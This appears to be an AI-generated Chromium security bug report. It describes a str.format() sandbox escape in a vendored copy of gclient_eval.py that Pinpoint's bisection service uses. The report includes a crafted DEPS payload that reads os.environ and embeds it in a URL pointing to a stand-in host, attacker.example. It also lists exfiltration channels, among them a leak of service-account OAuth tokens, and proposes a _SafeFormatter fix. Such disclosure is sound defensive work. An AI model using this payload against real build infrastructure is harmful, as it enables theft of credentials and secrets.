Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A copy of gclient_eval.py vendored by catapult for Pinpoint lacks the safety formatting filters used upstream in depot_tools to prevent native str.format() sandbox escapes. Consequently, parsing a maliciously crafted DEPS file with nested attribute lookups can potentially allow an attacker to traverse Python attributes to retrieve sensitive environment variables and exfiltrate Google App Engine credentials. This affects Pinpoint’s bisection service which evaluates historical DEPS files during regression analysis.

Affected files:

• third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py

Estimated timestamp from git blame: 2020-07-13

Description

The catapult-vendored copy of gclient_eval.py at third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py does not include the _SafeFormatter mitigation class defined upstream in third_party/depot_tools/gclient_eval.py. Upstream, _SafeFormatter rejects attribute and item traversal (. or [ in format placeholders) before rendering.

Without this safety wrapper, the catapult-vendored code calls native str.format() on evaluated string templates directly:

• Line 340: return node.s.format(**vars_dict) within _convert
• Line 503: dep_name = dep_name.format(**vars_dict) within _StandardizeDeps

Potential Gadget Chain

An attacker could potentially craft a schema-compliant DEPS file using the permitted ConstantString type (exposed as Str() inside the sandbox parser):

vars = {
    'g': Str('x'),
}
deps = {
    'src/x': 'https://attacker.example/{g.__class__.__init__.__globals__[sys].modules[os].environ}@deadbeef',
}

During evaluation, gclient_eval resolves g to a ConstantString instance. Because the file imports sys globally, the native str.format() walks from the instance’s __class__.__init__.__globals__ to the global sys module, resolves os.environ, and serializes the server’s environment variables directly into the resulting URL template.

Potential Trigger Path

1. Commit Submission: An attacker lands a modified DEPS file with the gadget above in any repository tracked by Chromium or its recursedeps. Even if reverted, the commit remains in the git history.
2. Bisection Execution: A Pinpoint bisection job runs across the commit range. To identify dependency changes, the engine invokes Commit.Deps() in third_party/catapult/dashboard/dashboard/pinpoint/models/change/commit.py at line 107.
3. DEPS Parsing: Pinpoint pulls the file content via Gitiles and passes it to the vulnerable parser: gclient_eval.Parse(deps_file_contents, ...) (line 130). This executes the direct .format() expansion.

Potential Exfiltration Channels

• Cloud Logging: The parsed URL with the serialized environment is logged via logging.debug at line 150 of commit.py.
• App Engine Datastore: If the dependency URL is processed, it is registered in Repository via _AddRepository in repository.py and written to the ndb Datastore via put().
• Authenticated HTTP GET Request: If adjacent commits carry differing repository urls, subsequent bisection checks trigger gitiles_service.CommitRange(). This issues an HTTPS GET request using an authenticated client configured via utils.ServiceAccountHttp() (which wraps google_auth_httplib2.AuthorizedHttp), leaking the serialized environment within the URL and the service-account OAuth bearer credentials in the Authorization header to the attacker’s server.

Note: These are potential steps and impacts identified by analysis; our tooling does not currently have the capability to run code to confirm live exploitability on production App Engine instances.

Suggested Fix

Backport the safety implementation from third_party/depot_tools/gclient_eval.py into the catapult copy at third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py. Specifically, implement the _SafeFormatter class:

class _SafeFormatter(string.Formatter):
    def get_field(self, field_name, args, kwargs):
        if '.' in field_name or '[' in field_name:
            raise ValueError('Attribute and item access are not allowed: %s' % field_name)
        return super(_SafeFormatter, self).get_field(field_name, args, kwargs)

And wrap variable expansion to ensure nested attribute lookups are strictly rejected.

Evaluated with Chrome root at commit: b2fea2e31df308d0f04e4ae47def4c4f939ee141

Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

• If you are familiar with the severity guidelines, you may adjust the severity.
• If this is a false positive, and there’s no work to be done, please close as WAI.
• If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

Raised in root component due to access or custom field issues on 1457058